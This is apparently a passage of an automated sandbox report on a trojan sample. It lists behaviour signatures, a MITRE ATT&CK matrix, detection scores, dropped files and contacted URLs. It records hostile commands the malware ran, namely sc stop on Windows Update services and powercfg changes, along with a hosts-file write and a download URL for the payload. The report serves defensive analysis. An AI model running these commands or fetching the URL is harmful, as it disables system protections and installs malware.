Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD411C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

16_2_00007FF6CD411C64

Source: C:\Windows\System32\winlogon.exe

Code function: 23_2_00000225DC647A40 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

23_2_00000225DC647A40

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\svc.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stops critical windows services

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 File and Directory Permissions Modification	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Windows Service	11 DLL Side-Loading	2 Disable or Modify Tools	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	Security Account Manager	22 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	1 Windows Service	1 Abuse Elevation Control Mechanism	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	813 Process Injection	1 Obfuscated Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	813 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	66%	ReversingLabs	Win32.Trojan.Zusy
SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	68%	Virustotal		Browse
SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	100%	Avira	HEUR/AGEN.1362795
C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\svc.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	79%	ReversingLabs	Win64.Trojan.Whisperer
C:\Program Files\Google\Chrome\updater.exe	68%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	87%	ReversingLabs	Win64.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\svc.exe	79%	ReversingLabs	Win64.Trojan.Whisperer
C:\Users\user\AppData\Local\Temp\svc.exe	68%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
github.com	0%	Virustotal	Browse
objects.githubusercontent.com	1%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://pesterbdd.com/images/Pester.png	100%	Sophos S4	malware repository domain
http://schemas.xmlsoap.org/ws/2004/09/policy	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/soap12/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://docs.oasis-open.org/ws-sx/ws-trust/200512	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	0%	Avira URL Cloud	safe
http://ocsp.di	0%	Avira URL Cloud	safe
https://github.com	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/erties	0%	Avira URL Cloud	safe
http://ocsp.msocsp.	0%	Avira URL Cloud	safe
https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	0%	Virustotal		Browse
http://github.com	0%	Avira URL Cloud	safe
https://objects.githubusercontent.com	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://github.com	0%	Virustotal		Browse
https://github.com	0%	Virustotal		Browse
https://aka.ms/pscore6lBfq	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	0%	Virustotal		Browse
https://github.com/tarzanre/myrepo/releases/download/a/steam.exe	0%	Avira URL Cloud	safe
http://objects.githubusercontent.com	0%	Avira URL Cloud	safe
https://objects.githubusercontent.com/github-production-release-asset-2e65be/672232730/d6a03019-07cf	0%	Avira URL Cloud	safe
https://objects.githubusercontent.com	1%	Virustotal		Browse
http://objects.githubusercontent.com	1%	Virustotal		Browse
https://github.com/tarzanre/myrepo/releases/download/a/steam.exe	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	140.82.121.4	true	false	0%, Virustotal, Browse	unknown
objects.githubusercontent.com	185.199.110.133	true	false	1%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://github.com/tarzanre/myrepo/releases/download/a/steam.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1730889772.00000000054AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware Sophos S4: malware repository domain	unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com	powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.di	powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.msocsp.	lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq	svchost.exe, 00000022.00000000.1854193740.000001D5599A5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://github.com	powershell.exe, 00000001.00000002.1726618411.0000000004A40000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
